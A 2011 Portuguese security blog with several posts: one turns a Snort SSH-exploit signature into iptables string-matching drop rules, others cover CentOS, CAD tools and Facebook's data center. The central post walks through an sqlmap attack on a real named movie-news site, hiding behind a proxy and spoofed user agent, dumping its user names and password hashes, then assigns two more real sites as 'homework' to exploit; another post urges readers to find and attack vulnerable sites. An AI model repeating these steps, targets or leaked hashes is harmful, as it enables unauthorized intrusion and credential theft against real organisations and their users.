quarta-feira, 13 de abril de 2011

Iptables - barrando strings (texto plano ou hexa)

Com o iptables você pode usar uma string como ponto de checagem para permitir ou descartar um pacote, porém este método é pouco conhecido. Neste post vou mostrar usando um exemplo simples de como utilizar este módulo.

Abaixo segue uma regra do snort que tem uma assinatura de um exploit para o serviço SSHD:

"alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow"; flow:to_server,established; content:"|00 01|W|00 00 00 18|"; depth:7; content:"|FF FF FF FF 00 00|"; depth:14; offset:8; metadata:policy balanced-ips drop, policy security-ips drop; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; reference:nessus,10607; classtype:shellcode-detect; sid:1327; rev:10;)"

Nesta regra o que nos interessa é o "content" (que pode ser em texto plano ou em hexa), que permite com que uma regra seja criada e busque pelo valor do "content" no pacote, assim que esse valor for encontrado temos um hit. O Snort usa a função padrão Boyer-Moore para checar se o valor do pacote corresponde ao do "content", no iptables usaremos a opção "--algo bm" para chamar o padrão Boyer-Moore.

Nesta regra temos 2 contents, são eles:

content:"|00 01|W|00 00 00 18|"
content:"|FF FF FF FF 00 00|"

Como ficaria essa regra no iptables?

iptables -A INPUT -p tcp --dport 22 -m string --hex-string "|00 01|W|00 00 00 18|" --algo bm -m string --hex-string "|FF FF FF FF 00 00|" --algo bm -j DROP

Imagine que a regra do Snort não esteja em hexa e sim texto plano, veja o exemplo abaixo:

content:"/bin/sh"

Essa regra seria um pouco diferente:

iptables -A INPUT -p udp --dport 22 -m string --string "/bin/sh" --algo bm -j DROP

obs: uma boa opção seria usando o fwsnort.

Espero que tenham gostado.

by Osvaldo H Peixoto

terça-feira, 12 de abril de 2011

Isso é coisa para skiddie e não hacker

Recentemente estive conversando com alguns amigos sobre SQL injection, e no decorrer da conversa enfatizei que infelizmente apesar da divulgação da técnica e dos riscos e conseguencias que ela traz para as empresas há um descaso por muitas organizações sobre o assunto, tanto é que escrevi um post  chamado "Sites Vulneráveis - agora quero ver" em forma de protesto, leia o post e veja como é fácil descobrir sites vulneráveis a sqli e explorá-los.

Neste post quero mostrar que mesmo sem um conhecimento intermediário sobre sqli você pode com a utilização de ferramentas, como a sqlmap, extrair informações de um banco de dados. Vou dividir este post em etapas e esclarecer cada uma delas. Para isso estarei usando o sqlmap, ferramenta open source escrita em python para detecção e exploração de páginas vulneráveis a sql injection.

De acordo com o site dos desenvolvedores o sqlmap suporta os seguintes banco de dados: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems, abrangendo a maioria dos bancos utilizados hoje (MySQL, PostgreSQL, Microsoft SQL Server). Vamos ao que interessa.

1) Detecção de SQLi
O sqlmap detecta se uma url é vulnerável a sql injection, mas neste caso vamos realizar esta tarefa de uma forma mais rápida, para isso faça uma pesquiça no google utilizando a string:

inurl:.php?id=

Usarei como exemplo a url: http://www.comingsoon.net/news/movienews.php?id=67468.
Coloque um ' no final da url, ficando assim:

http://www.comingsoon.net/news/movienews.php?id=67468'

Se aparecer uma mensagem de erro, como "DB Error: syntax error" ou algo do tipo, isso significa que esta página é vulnerável a sql injection. Para saber mais sobre como detectar páginas vulneráveis a sqli leia o psot "SQL Injection na prática".

2) Buscando um Proxy
Para que o seu IP não apareça no log do servidor use um proxy com a opção --proxy, check um nos sites abaixo por um proxy ativo:

http://www.samair.ru/proxy/type-01.htm
http://nntime.com/proxy-country/Brazil-01.htm

3) Mude o Agente
Vamos fazer com que o servidor Web pense que nossas requisições estão sendo feitas do Mozilla, para isso usaremos a opção:
--user-agent=Mozilla

4) Extraindo informações
Se você não sabe as opções, veja com o comando: sqlmap -h

Este comando é básico, checa se a URL é vulnerável e tenta extrair algumas informações:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -u http://www.comingsoon.net/news/movienews.php?id=67468

[15:39:04] [INFO] testing MySQL
[15:39:09] [INFO] confirming MySQL
[15:39:14] [INFO] retrieved: 1
[15:39:34] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL >= 5.0.0

Agora sabemos que é um Apache e um MySQL.

Vamos ver quantos bancos temos nesse MySQL com a opção --dbs:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --dbs -u http://www.comingsoon.net/news/movienews.php?id=67468

[16:01:00] [INFO] fetching database names
[16:01:00] [INFO] fetching number of databases
[16:01:00] [INFO] retrieved: 2
[16:01:28] [INFO] retrieved: information_schema
[16:11:22] [INFO] retrieved: comingso_nextra
available databases [2]:
[*] comingso_nextra
[*] information_schema

Temos dois bancos e o que esta sendo usado é o "comingso_nextra" o "information_schema" tem outra finalidade. Para termos certeza que a base que esta sendo usada é mesmo a "comingso_nextra" execute o comando abaixo com a opção --current-db:

#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --current-db -u http://www.comingsoon.net/news/movienews.php?id=67468

[16:21:49] [INFO] fetching current database
[16:21:49] [INFO] retrieved: comin ^C
[16:22:29] [ERROR] user aborted

Vamos ver as tabelas que pertencem a base "comingso_nextra":
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra --tables -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
[29 tables]
+------------------------------+
| article_comments             |
| bomments_filter_string       |
| category_online_count        |
| comments_disabled            |
| comments_filter              |
| hit_ip_table                 |
| hit_table                    |
| ip_filter                    |
| NEX_@ATEGORIES               |
| NEX_ARTICLE_CATEGORY_MAP     |
| NEX_ARTICLE_FIELD_CONTENT    |
| NEX_ARTICLE_IMAGE_MAP        |
| NEX_ARTICLES                 |
| NEX_BG                       |
| NEX_BOXOFFICERANK            |
| NEX_BOXOFFICEWEEK            |
| NEX_CATEGORY_FIELD_ORDER     |
| NEX_FEATUREBOX               |
| NEX_FIELDS                   |
| NEX_GENRE                    |
| NEX_IMAGES                   |
| NEX_TALENT                   |
| NEX_USER_CATEGORY_MAP        |
| NEX_USERS                    |
| release_date                 |
| sessions                     |
| t                            |
| talent_article_process_queue |
| test_table                   |
+------------------------------+

Tem uma tabela que chamou minha atenção, espero que a sua também, é a tabela NEX_USERS. Vamos ver as colunas que estão nesta tabela:

#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS --columns -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
Table: NEX_USERS
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| access   | varchar(20)  |
| email    | varchar(255) |
| name     | varchar(255) |
| password | varchar(50)  |
| title    | varchar(255) |
| user_id  | int(11)      |
+----------+--------------+


#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS -C 'name,password' --dump -u http://www.comingsoon.net/news/movienews.php?id=67468

Database: comingso_nextra
Table: NEX_USERS
[15 entries]

+---------------+------------------------------------+
| name          | password                           |
+---------------+------------------------------------+
| Aric          | $1$oXa15J8g$2idU4zZjHnXPyYDu94w2C0 |
| Chris         | $1$IFSow8ky$/GOkLPrS8hFjeee0Oa7pw. |
| Chris Wells   | $1$cvRZK03z$L3iLr/6ZPrAG5j7jboPS91 |
| David Denton  | $1$khsRMtWe$HN.M2y7Be9ocGjjY1FXD2/ |
| Ed            | $1$jWolY0h2$s2ub83e15KFnGlUOAN4Rf. |
| Gino          | $1$m60X2vhy$LNAOKZSQwNmij4sFj5W.a0 |
| John          | $1$2Jhgdzht$qf.IfLRxOWnMZ6w7dwu4X. |
| Josh          | $1$Xn9Vcpae$pVzqnTOz.8EgM8TDABCse1 |
| Mirko         | $1$Eqtx7VUx$CItmrnT1jSqpEQJErqiex. |
| Nexcess       | $1$hIl8D.HV$Jmnw7mWw/4kBLAT0pCdTR1 |
| Paul Oehler   | $1$VEaJRoYB$uHkruhhqrjYSouh1EL8er0 |
| Ryan Rotten   | $1$1RkPWqa/$6Rw4oLqCFrzwS@6PFIZAN0 |
| Scott         | $1$db37gF77$1jrwr5GCpNpPfLNRhhdC30 |
| Silas Lesnick | $1$qEycO1If$bmq1HZj7/LmVksBejtpLK1 |
| Socheat Sou   | $1$40D5acFu$mxc/uBenEn7WI9h5zwJLA1 |
+---------------+------------------------------------+

Temos os usuário com as senhas em MD5 Unix.
Sério, qualquer um pode fazer isso.

Dever de casa
Dois sites para serem explorados:
http://www.caocidadao.com.br/artigos_caes.php?id=127
http://www.funcitec.rct-sc.br/noticias.php?id=742

by Osvaldo H Peixoto

segunda-feira, 11 de abril de 2011

CentOS - O que você vai fazer?

Vamos esclarecer uma coisa, o CentOS é uma excelente distribuição de nível enterprise, ponto. Podemos dizer também que é um clone do RHEL, já que a distro é compilada a partir do código fonte da RHEL. Acho que até agora não contei nenhuma novidade, pelo menos eu espero.

Tenho acompanhado o crescimento do CentOS, e visto como vários projetos tem adotado essa distribuição para rodarem suas soluções, é o caso do Trixbox e outros.
Estive visitando alguns blogs e notei uma quantidade muito grande de posts falando sobre os atuais problemas que o CentOS esta passando com sua comunidade e adeptos. Segue abaixo dois posts que achei super interessante:


Soluções parecidas com o CentOS:


Tire suas conclusões, mas primeiro é preciso analisar.
Osvaldo H Peixoto


domingo, 10 de abril de 2011

Sites Vulneráveis - agora quero ver

Infelizmente tem gente que só aprende apanhando, se não é o seu caso então você não bate na regra. Bom, vamos deixar de papo furado e ser bem direto. A pior coisa para um Administrador preocupado com Segurança em TI é encontrar uma falha de segurança em um servidor alheio, alertar os responsáveis e no final descobrir que eles não estão nem ai pra isso, ou seja, security doesn´t metter.

Faça um teste, leia o meu post “SQL na prática” depois use o Google dork

inurl:.php?id=

para encontrar alguns sites em PHP e faça como você aprendeu no post, não se esqueça de usar Proxy. Digamos que agora você tem uma pequena lista de sites vulneráveis, use sua “cabeça” ache o email dos responsáveis e notifique os mesmos, agora é só esperar pelo retorno..... AHHHH.... que sono... acho que vai demorar essa espera, pelo menos eu não estou tendo este retorno. O pior de tudo é que depois de meses o site continua com a mesma vulnerabilidade, os responsáveis nem mesmo corrigiram o bug.

Desta vez vou jogar um pouco mais pesado, só um pouco. Quer saber como? Acesse a minha nova página que chamei de SDM (security doesn´t metter) e veja as novidades... até a próxima.

Osvaldo H Peixoto


Free CAD Tools

Não estou preocupado apenas com os exploits, shells, sqli, vulnerabilidades etc. Procuro sempre compartilhar aquilo que sempre tem me ajudado e que em muitos casos resolvera o problema de muitos também, é isso que fazemos quando acreditamos em uma comunidade que compartilha um pouco de tudo. Pensando nisso resolvi compartilhar com vocês este site com ferramentas úteis para quem trabalha ou precise por algum motivo mexer com CAD. Segue o link do site abaixo titulado como “Free CAD Tools”.


Faça bom proveito.

Osvaldo H Peixoto


Open Compute Project: Facebook Divulga Especificações Sobre Data Center

Publicado em 08-04-2011 14:36 no site:
http://under-linux.org/open-compute-project-facebook-divulga-especificacoes-sobre-data-center-2619/

"A maior rede social da atualidade, o Facebook, desenvolveu um site para divulgar informações e tecnologiasimplementadas em seu data center, que foi inaugurado há pouco tempo em Prineville, no estado norte-americano do Oregon. Ele é 38% mais eficiente e seu custo é 24% menor que os demais centros de dados que utilizam tecnologias standard.

Vale lembrar que os data centers  do Facebook são responsáveis pelo armazenamento de todas as informações incluindo atualizações de status, vídeos e fotos, publicadas pelos seus usuários na rede social. Em virtude da divulgação do novo data center, o Facebook planeja compartilhar suas descobertas com a indústria e convida a comunidade a participar desse processo contínuo de desenvolvimento."

Acesse o site do projeto:
http://opencompute.org/